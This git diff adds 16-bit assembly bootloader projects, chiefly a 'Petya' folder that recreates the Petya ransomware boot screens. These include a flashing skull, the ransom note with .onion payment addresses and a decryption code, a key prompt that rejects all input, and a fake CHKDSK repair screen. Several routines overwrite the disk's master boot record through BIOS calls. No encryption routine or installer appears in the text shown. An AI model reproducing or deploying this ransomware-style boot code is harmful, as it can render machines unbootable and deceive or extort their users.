[NUMBERS], eax ;Store final value in NUMBERS + + mov di, strbuf ;ES:DI points to string buffer to store to + call uint32_to_str ;Convert 32-bit unsigned value in EAX to ASCII string + mov si, di ;DS:SI points to string buffer to print + call print_str + + mov si, msg1 + call print_str + + mov edx, 0 + mov eax, [NUMBERS] + mov ecx, 2097152 + div ecx ;Divide [NUMBERS]/2097152 + + mov di, strbuf ;ES:DI points to string buffer to store to + call uint32_to_str ;Convert 32-bit unsigned value in EAX to ASCII string + mov si, di ;DS:SI points to string buffer to print + call print_str + + mov si, msg2 + call print_str + + mov eax, [NUMBERS] + cmp eax, 209715200 ;End loop at 209715200 + jl next ;Continue until we reach limit + + mov ah, 86h ;ah = 86 + mov cx, 20 ;Set for timeout 20 + int 15h ;Wait function + +RebootPC: + xor ax, ax + mov es, ax + mov bx, 1234 + mov [es:0472], bx + cli + mov ds, ax + mov es, ax + mov ss, ax + mov sp, ax + mov ax, 2 + push ax + mov ax, 0xf000 + push ax + mov ax, 0xfff0 + push ax + iret + +;===================================================================================================================== + +ClearScreen: + mov ah, 07h ;Function to call with interrupt + mov al, 0h ;Scroll whole window + mov cx, 0h ;Row 0,col 0 + mov dx, 184fh + int 10h + ret + + +write_char: + mov ah,0eh + mov si,0ffffh + inc si +.charloop: + push bp + mov al, [byte ds:bp + si] + mov bx, 07h + int 10h ;Teletype the character + pop bp + inc si + cmp byte [ds:bp + si],0 ;Keep writing until there is a null byte + jnz .charloop + ret + + +print_str: + push ax + push di + mov ah,0eh +.getchar: + lodsb ;Same as mov al,[si] and inc si + test al, al ;Same as cmp al,0 + jz .end + int 10h + jmp .getchar +.end: + pop di + pop ax + ret + + +uint32_to_str: + push edx + push eax + push ecx + push bx + push di + xor bx, bx ;Digit count + mov ecx, 10 ;Divisor +.digloop: + xor edx, edx ;Division will use 64-bit dividend in EDX:EAX + div ecx ;Divide EDX:EAX by 10 ; EAX=Quotient ; EDX=Remainder(the current digit) + add dl, '0' ;Convert digit to ASCII + push dx ;Push on stack so digits can be popped off in everse order when finished + inc bx ;Digit count += 1 + test eax, eax + jnz .digloop ;If dividend is zero then we are finished converting the number +.popdigloop: ;Get digits from stack in reverse order we pushed them + pop ax + stosb ;Same as mov [ES:DI], al and inc di + dec bx + jne .popdigloop ;Loop until all digits have been popped + mov al, 0 + stosb ;NUL terminate string ; Same as mov [ES:DI], al and inc di + pop di + pop bx + pop ecx + pop eax + pop edx + ret + + +RestoreMBR: + ;Read sector + mov bx,buffer ;ES: BX must point to the buffer + mov dl,[BOOT_DRIVE] ;Use boot drive passed to bootloader by BIOS in DL + mov dh,0 ;Head number + mov ch,0 ;Track number + mov cl,3 ;Sector number + mov al,8 ;Number of sectors to read + mov ah,2 ;Read function number + int 13h + + ;Write sector + mov bx,buffer ;ES: BX must point to the buffer + mov dl,[BOOT_DRIVE] ;Use boot drive passed to bootloader by BIOS in DL + mov dh,0 ;Head number + mov ch,0 ;Track number + mov cl,1 ;Sector number + mov al,8 ;Number of sectors to write + mov ah,3 ;Write function number + int 13h + ret + +;===================================================================================================================== + + + +MBR_Signature: + msg1 db ' of 209715200 (',0 + msg2 db '%)',0 + BOOT_DRIVE dd 0 + CURSOR_LINE dd 0 + CUSROR_COL dd 0 + NUMBERS dd 0 + strbuf db 0 + times 510-($-$$) db 0 + db 55h,0aah + incbin "CHKDSK.txt" + times 8192-($-$$) db 0 + buffer: \ No newline at end of file diff --git a/Petya/CHKDSK.txt b/Petya/CHKDSK.txt new file mode 100644 index 0000000..8caf0cd --- /dev/null +++ b/Petya/CHKDSK.txt @@ -0,0 +1,13 @@ + + Repairing file system on C: + + The type of the file system is NTFS. + One of your disks contains errors and needs to be repaired. This process + may take several hours to complete. It is strongly recommended to let it + complete. + + WARNING: DO NOT TURN OFF YOUR PC! IF YOU ABORT THIS PROCESS, YOU COULD + DESTROY ALL OF YOUR DATA! PLEASE ENSURE THAT YOUR POWER CABLE IS PLUGGED + IN! + + CHKDSK is repairing sector \ No newline at end of file diff --git a/Petya/Info.txt b/Petya/Info.txt new file mode 100644 index 0000000..b9c54d6 --- /dev/null +++ b/Petya/Info.txt @@ -0,0 +1,24 @@ + You became victim of the PETYA RANSOMWARE! + + + The harddisks of your computer have been encrypted with an military grade + encryption algorithm. There is no way to restore your data without a special + key. You can purchase this key on the darknet page shown in step 2. + + To purchase your key and restore your data, please follow these three easy + steps: + + 1. Download the Tor Browser at "https://www.torproject.org/". If you need + help, please google for "access onion page". + 2. Visit one of the following pages with the Tor Browser: + + http://petya37h9lggpod1.onion/BakaWB + http://petya5km01aakfd7.onion/BakaWB + + 3. Enter your personal decryption code there: + + tbRoUv-Fs6ZyW-bEWEI7-AXlIsL-DFdTbY-z0RD0M-sZ3OVq-YViv5Q-J12yQD-jarpSS- + SCNcQ9-cI9ULO-NCFJzk-YyuHyH-jKwrWW + + If you already purchased your key, please enter it below. + diff --git a/Petya/Petya.asm b/Petya/Petya.asm new file mode 100644 index 0000000..4ab8ada --- /dev/null +++ b/Petya/Petya.asm @@ -0,0 +1,278 @@ +cpu 386 +bits 16 +org 0h + + +start: ;Ok, dont change this stuff either.. + jmp short load_prog + ident db "WobbyChip" + +;===================================================================================================================== + +load_prog: + cld + xor ax,ax + mov ss,ax + mov sp,7c00h ;Setup stack + + mov ax,8000h + mov es,ax ;Initialize es w/ 8000h + mov ds,ax ;Initialize ds w/ 8000h + +load_1: + mov ax,0210h ;Function/# of sec to read + mov cx,0001h ;0-5 sec # (counts from one), 6-7 hi cyl bits + + ; MDP - Do not clobber DL, it still has the boot drive passed by BIOS + mov dh,00h ;dh=head dl=drive (bit 7=hdd) + mov bx,0h ;Data buffer, points to es:0 + int 13h + cmp ah,0 + jne load_1 ;This is allowable because it is relative + + ; MDP - Save boot drive after you set the proper DS segment (0x8000) and after you read the sector into memory + mov [BOOT_DRIVE], dl + +;===================================================================================================================== + + mov cx, 2607h + mov ah, 01h + mov bh, 0 + int 10h + +Petya: + xor al, al ;Clear buffer + mov ah, 01h ;AH = 1 + int 16h ;Get for keystroke + cmp al,0 ;Compare + jne Info ;If key pressed jump + + mov ah, 86h ;ah = 86 + mov cx, 1 ;Set for timeout 1 + int 15h ;Wait function + + mov dh, 0 ;Cursor position line + mov dl, 0 ;Cursor position column + mov ah, 02h + mov bh, 0 + int 10h ;Jump one col before + + cmp byte [COUNT], 1 + je .reverseSkull + jmp .normalSkull +.normalSkull: + mov ax, 0x1003 + mov bl, 0 + int 10h + + mov bh, 0x4F ;Background color + call ClearScreen + mov bp,0400h + call write_char + mov byte [COUNT], 1 + jmp Petya + +.reverseSkull: + mov ax, 0x1003 + mov bl, 0 + int 10h + + mov bh, 0x74 ;Background color + call ClearScreen + mov bp,0400h + call write_char + mov byte [COUNT], 2 + jmp Petya + +;===================================================================================================================== + +Info: + mov byte [COUNT], 0 ;Clear COUNT + mov dh, 0 ;Cursor position line + mov dl, -1 ;Cursor position column + mov ah, 02h + mov bh, 0 + int 10h + + mov cx, 0607h + mov ah, 01h + mov bh, 0 + int 10h + + mov bh, 0x4F ;Background color + call ClearScreen + + mov bp,0A00h + call write_char + call RestoreMBR + + mov ah, 03h + mov bh, 0 + int 10h + + mov [CURSOR_LINE], dh + mov [CUSROR_COL], dl + + mov dh,1 ;Cursor position line + mov dl,0 ;Cursor position column + mov ah,02h ;Set cursor position + mov bh,0 ;Page number + int 10h + + mov al, 220 ;ASCII character + mov ah, 09 ;Write character and attribute at cursor position + mov cx, 80 ;Number of times to print character + mov bl, 0x4F ;Color + int 10h + + mov dh, [CURSOR_LINE] ;Cursor position line + mov dl, [CUSROR_COL] ;Cursor position column + mov ah, 02h + mov bh, 0 + int 10h + +key: + mov si, msg1 + call print_str + +get_keystrokes: + xor al, al ;Clear buffer + mov ah,0h ;Wait until key press + int 16h + + inc byte [COUNT] + cmp byte [COUNT], 1 + je get_keystrokes + + mov ah, 03h ;Get cursor position + mov bh, 0 ;Page number + int 10h ;Call interrupt + + cmp dl, 78 + je incorrect_key + + cmp al, 0 ;Check for nothing + je get_keystrokes + + cmp al, 8 ;Check for Backsapce + je backspace + + cmp al, 13 ;Check for Enter + je incorrect_key + + mov ah, 0Eh + int 10h ;Teletype user inputed character + jmp get_keystrokes + +incorrect_key: + mov si, msg2 + call print_str + jmp key + +backspace: + mov ah, 03h + mov bh, 0 + int 10h + + cmp dl, 6 + je get_keystrokes + dec dl + + mov ah, 02h + mov bh, 0 + int 10h ;Jump one col before + + mov al, 32 ;Space scancode + mov ah, 0Eh + int 10h ;Teletype character + + mov ah, 02h + mov bh, 0 + int 10h ; + + jmp get_keystrokes + +;===================================================================================================================== + +ClearScreen: + mov ah, 07h ;Function to call with interrupt + mov al, 0h ;Scroll whole window + mov cx, 0h ;Row 0,col 0 + mov dx, 184fh + int 10h + ret + + +write_char: + mov ah,0eh + mov si,0ffffh + inc si +.charloop: + push bp + mov al, [byte ds:bp + si] + mov bx, 07h + int 10h ;Teletype the character + pop bp + inc si + cmp byte [ds:bp + si],0 ;Keep writing until there is a null byte + jnz .charloop + ret + + +print_str: + push ax + push di + mov ah,0eh +.getchar: + lodsb ;Same as mov al,[si] and inc si + test al, al ;Same as cmp al,0 + jz .end + int 10h + jmp .getchar +.end: + pop di + pop ax + ret + + +RestoreMBR: + ;---read sector + mov bx,buffer ;ES: BX must point to the buffer + mov dl,[BOOT_DRIVE] ;Use boot drive passed to bootloader by BIOS in DL + mov dh,0 ;Head number + mov ch,0 ;Track number + mov cl,2 ;Sector number + mov al,1 ;Number of sectors to read + mov ah,2 ;Read function number + int 13h + + ;---write sector + mov bx,buffer ;ES: BX must point to the buffer + mov dl,[BOOT_DRIVE] ;Use boot drive passed to bootloader by BIOS in DL + mov dh,0 ;Head number + mov ch,0 ;Track number + mov cl,1 ;Sector number + mov al,8 ;Number of sectors to write + mov ah,3 ;Write function number + int 13h + ret + +;===================================================================================================================== + + + +MBR_Signature: + COUNT dd 0 + BOOT_DRIVE dd 0 + CURSOR_LINE dd 0 + CUSROR_COL dd 0 + msg1 db ' Key: ',0 + msg2 db 13,10,' Incorrect key! Please try again.',13,10,13,10 + times 510-($-$$) db 0 + db 55h,0aah + times 1024-($-$$) db 0 + incbin "Skull.txt" + times 2560-($-$$) db 0 + incbin "Info.txt" + times 8192-($-$$) db 0 + buffer: \ No newline at end of file diff --git a/Petya/Skull.txt b/Petya/Skull.txt new file mode 100644 index 0000000..13f793c --- /dev/null +++ b/Petya/Skull.txt @@ -0,0 +1,25 @@ + uu$$$$$$$$$$$uu + uu$$$$$$$$$$$$$$$$$uu + u$$$$$$$$$$$$$$$$$$$$$$u + u$$$$$$$$$$$$$$$$$$$$$$$$u + u$$$$$$$$$$$$$$$$$$$$$$$$$u + u$$$$$$$$$$$$$$$$$$$$$$$$$u + u$$$$$$* *$$$* *$$$$$$u + *$$$$* u$u $$$$* + $$$u u$u u$$$ + $$$u u$$$u u$$$ + *$$$$uu$$$ $$$uu$$$$* + *$$$$$$$* *$$$$$$$* + u$$$$$$$u$$$$$$$u + u$*$*$*$*$*$*$u + uuu $$u$ $ $ $ $u$$ uuu + u$$$$ $$$$$u$u$u$$$ u$$$$ + $$$$$uu *$$$$$$$$$* uu$$$$$$ + u$$$$$$$$$$$uu ***** uuuu$$$$$$$$$ + $$$$***$$$$$$$$$$uuu uu$$$$$$$$$***$$$* + *** **$$$$$$$$$$$uu **$*** + uuuu **$$$$$$$$$$uuu + u$$$uuu$$$$$$$$$uu **$$$$$$$$$$$uuu$$$ + $$$$$$$$$$**** **$$$$$$$$$$$* + *$$$$$* **$$$$** + $$$* PRESS ANY KEY! $$$$* \ No newline at end of file diff --git a/Petya/result/CHKDSK.bin b/Petya/result/CHKDSK.bin new file mode 100644 index 0000000..cb67850 Binary files /dev/null and b/Petya/result/CHKDSK.bin differ diff --git a/Petya/result/Petya.bin b/Petya/result/Petya.bin new file mode 100644 index 0000000..fb0c49d Binary files /dev/null and b/Petya/result/Petya.bin differ diff --git a/Petya/result/bootloader.bin b/Petya/result/bootloader.bin new file mode 100644 index 0000000..3bcef95 Binary files /dev/null and b/Petya/result/bootloader.bin differ diff --git a/RebootPC.asm b/RebootPC.asm new file mode 100644 index 0000000..45b1a57 --- /dev/null +++ b/RebootPC.asm @@ -0,0 +1,20 @@ +RebootPC: + xor ax, ax + mov es, ax + mov bx, 1234 + mov [es:0472], bx + cli + mov ds, ax + mov es, ax + mov ss, ax + mov sp, ax + mov ax, 2 + push ax + mov ax, 0xf000 + push ax + mov ax, 0xfff0 + push ax + iret + +times 510 - ($ - $$) db 0 ;Fill the data with zeros until we reach 510 bytes +dw 0xAA55 \ No newline at end of file diff --git a/Scancodes.asm b/Scancodes.asm new file mode 100644 index 0000000..f444d13 --- /dev/null +++ b/Scancodes.asm @@ -0,0 +1,110 @@ +org 0x7c00 +bits 16 + +;===================================================================================================================== + +start: + cld + xor ax,ax + mov ss,ax + mov sp,7c00h ;Setup stack + + mov ax,8000h + mov es,ax ;Initialize es w/ 8000h + mov ds,ax ;Initialize ds w/ 8000h + + mov ah, 07h ;Function to call with interrupt + mov al, 0x00 ;Scroll whole window + mov bh, 0x0F ;Black background with white text + mov cx, 0x0000 ;Row 0,col 0 + mov dx, 0x184f + int 10h ;Clear screen just in case + + mov dh, 0 ;Cursor position row + mov dl, 0 ;Cursor position column + mov bh, 0 ;Display page number + mov ah, 02h ;Set cursor position + int 10h ;Set cursor postion to begining of screen + +;===================================================================================================================== + +get_keystrokes: + xor al, al + mov ah, 0h + int 16h + + mov [INPUTED_CHAR], al + mov eax, [INPUTED_CHAR] + + mov di, strbuf ;ES:DI points to string buffer to store to + call uint32_to_str ;Convert 32-bit unsigned value in EAX to ASCII string + mov si, strbuf ;DS:SI points to string buffer to print + call print_str + + mov al, 13 + mov ah, 0Eh + int 10h ;Teletype character + + mov al, 10 + mov ah, 0Eh + int 10h ;Teletype character + + jmp get_keystrokes + +;===================================================================================================================== + +print_str: + push ax + push di + mov ah, 0eh +.getchar: + lodsb ;Same as mov al,[si] and inc si + test al, al ;Same as cmp al,0 + jz .end + int 10h + jmp .getchar +.end: + pop di + pop ax + ret + + +uint32_to_str: + push edx + push eax + push ecx + push bx + push di + xor bx, bx ;Digit count + mov ecx, 10 ;Divisor +.digloop: + xor edx, edx ;Division will use 64-bit dividend in EDX:EAX + div ecx ;Divide EDX:EAX by 10 ; EAX=Quotient ; EDX=Remainder(the current digit) + add dl, '0' ;Convert digit to ASCII + push dx ;Push on stack so digits can be popped off in everse order when finished + inc bx ;Digit count += 1 + test eax, eax + jnz .digloop ;If dividend is zero then we are finished converting the number +.popdigloop: ;Get digits from stack in reverse order we pushed them + pop ax + stosb ;Same as mov [ES:DI], al and inc di + dec bx + jne .popdigloop ;Loop until all digits have been popped + mov al, 0 + stosb ;NUL terminate string ; Same as mov [ES:DI], al and inc di + pop di + pop bx + pop ecx + pop eax + pop edx + ret + +;===================================================================================================================== + + + +MBR_Signature: + INPUTED_CHAR db 0,13,10,0 + strbuf db 0 + times 510-($-$$) db 0 + db 55h,0aah \ No newline at end of file diff --git a/SectorCopy.asm b/SectorCopy.asm new file mode 100644 index 0000000..a8fd94f --- /dev/null +++ b/SectorCopy.asm @@ -0,0 +1,38 @@ +org 0x7c00 +bits 16 + +;===================================================================================================================== + +RestoreMBR: + ;Setup segments + xor ax, ax ;AX=0 + mov ax, ds ;DS=ES=0 because we use an org of 0x7c00 - Segment<<4+offset = 0x0000<<4+0x7c00 = 0x07c00 + mov ax, es + mov ax, ss + mov sp, 0x7c00 ;SS:SP= 0x0000:0x7c00 stack just below bootloader + + ;Read sector - 2th + mov bx, buffer ;ES: BX must point to the buffer +; mov dl, 0 ;Use boot drive passed to bootloader by BIOS in DL + mov dh, 0 ;Head number + mov ch, 0 ;Track number + mov cl, 2 ;Sector number - (2th) + mov al, 1 ;Number of sectors to read + mov ah, 2 ;Read function number + int 13h + + ;Write sector - 1th + mov bx, buffer ;ES: BX must point to the buffer +; mov dl, 0 ;Use boot drive passed to bootloader by BIOS in DL + mov dh, 0 ;Head number + mov ch, 0 ;Track number + mov cl, 1 ;Sector number - (1th) + mov al, 1 ;Number of sectors to write + mov ah, 3 ;Write function number + int 13h + +;===================================================================================================================== + +buffer equ 4096 ;Buffer address (decimal) +times 510 - ($-$$) db 0 +dw 0xaa55 ;MBR signature \ No newline at end of file diff --git a/StringEncrypt.asm b/StringEncrypt.asm new file mode 100644 index 0000000..3b357c1 --- /dev/null +++ b/StringEncrypt.asm @@ -0,0 +1,224 @@ +cpu 386 +bits 16 +org 0h + + +start: ;Ok, dont change this stuff either.. + jmp short load_prog + ident db "WobbyChip" + +;===================================================================================================================== + +load_prog: + cld + xor ax, ax + mov ss, ax + mov sp, 7c00h ;Setup stack + + mov ax, 8000h + mov es, ax ;Initialize es w/ 8000h + mov ds, ax ;Initialize ds w/ 8000h + +;===================================================================================================================== + +load_1: + mov ax, 0206h ;Function/# of sec to read + mov cx, 0001h ;0-5 sec # (counts from one), 6-7 hi cyl bits + + ;MDP - Do not clobber DL, it still has the boot drive passed by BIOS + mov dh, 00h ;Dh=head dl=drive (bit 7=hdd) + mov bx, 0h ;Data buffer, points to es:0 + int 13h + cmp ah, 0 + jne load_1 ;This is allowable because it is relative + + ;MDP - Save boot drive after you set the proper DS segment (0x8000) and after you read the sector into memory + mov [boot_drive], dl + + push es + mov ax, prog_continue + push ax + retf + +;===================================================================================================================== + +prog_continue: + mov ah, 07h ;Function to call with interrupt + mov al, 0x00 ;Scroll whole window + mov bh, 0x0F ;Black background with white text + mov cx, 0x0000 ;Row 0,col 0 + mov dx, 0x184f + int 10h + + mov dh, 0 ;Cursor position row + mov dl, 0 ;Cursor position column + mov ah, 02h ;Set cursor position + mov bh, 0 ;Display page number + int 10h ;Call interrupt + + mov bp, 0400h + mov ah, 0eh + mov si, 0ffffh + jmp next + +;===================================================================================================================== + +print_str: + push ax + push di + mov ah,0eh +.getchar: + lodsb ;Same as mov al,[si] and inc si + test al, al ;Same as cmp al,0 + jz .end + int 10h + jmp .getchar +.end: + pop di + pop ax + ret + +;===================================================================================================================== + +next: + mov dh, 23 ;Cursor position row + mov dl, 1 ;Cursor position column + mov ah, 02h ;Set cursor position + mov bh, 0 ;Display page number + int 10h ;Call interrupt + + mov si, msg1 + call print_str + mov si, buffer + +get_keystrokes: + xor al, al ;Clear buffer + mov ah,0h ;Wait until key press + int 16h + + mov ah, 03h ;Get current cusror position + mov bh, 0 ;Display page number + int 10h ;Call interrupt + + cmp al, 0 ;Check for nothing + je get_keystrokes + + cmp al, 32 ;Disable spacebar + je get_keystrokes + + cmp al, 9 ;Disable tab + je get_keystrokes + + cmp al, 8 ;Check for backsapce + je backspace + + cmp al, 13 ;Check for enter + je Encrypt + + cmp dl, 78 ;Don't let string to get to second line + je get_keystrokes + + mov ah, 0Eh ;Teletype user inputed character + int 10h ;Call interrupt + mov byte [si], al + inc byte [input_length] + inc si + + jmp get_keystrokes + +backspace: + mov ah, 03h ;Get current cusror shape position + mov bh, 0 ;Page number + int 10h ;Call interrupt + + cmp dl, msg1_len ;Make so we don't accidentally delete text contained in msg1 + je get_keystrokes + dec dl + + mov ah, 02h ;Set cursor position + mov bh, 0 ;Page number + int 10h ;Jump one column before + + mov al, 0 ;Zero scancode + mov ah, 0Eh ;Teletype character + int 10h ;Call interrupt + + dec si + dec byte [input_length] + mov byte [si], 0 ;Clear buffer + + mov ah, 02h ;Set cursor position + mov bh, 0 ;Page number + int 10h ;Jump one column before + + jmp get_keystrokes + +;===================================================================================================================== + +Encrypt: + lea edx, [buffer] + mov ebx, [input_length] + + enc_loop: + mov eax, [edx] + inc ebx + xor eax, ebx + mov [edx], eax + inc edx + cmp byte [edx], 0 + jne enc_loop + +.ClearAll: + mov ah, 02h ;Set cursor position + mov bh, 0 ;Page number + int 10h ;Jump one column before + + mov byte [si], 0 ;Clear buffer + inc si + + cmp dl, msg1_len ;Clear everything until text contained in msg + je .DisplayMessage + dec dl + + mov ah, 02h ;Set cursor position + mov bh, 0 ;Page number + int 10h ;Jump one column before + + mov al, 0 ;Zero scancode + mov ah, 0Eh ;Teletype character + int 10h ;Call interrupt + + mov ah, 02h ;Set cursor position + mov bh, 0 ;Page number + int 10h ;Jump one column before + + jmp .ClearAll + +.DisplayMessage: + mov dh, 23 ;Cursor position row + mov dl, 1 ;Cursor position column + mov ah, 02h ;Set cursor position + mov bh, 0 ;Display page number + int 10h ;Call interrupt + + mov si, msg1 + call print_str + + mov si, buffer + call print_str + +halt: + hlt + jmp halt + +;===================================================================================================================== + +MBR_Signature: + boot_drive dd 0 + input_length dd 0 + msg1: db 'Encrypt: ', 0 + msg1_len: equ $-msg1 + times 510-($-$$) db 0 + db 55h,0aah + times 4096-($-$$) db 0 + buffer: \ No newline at end of file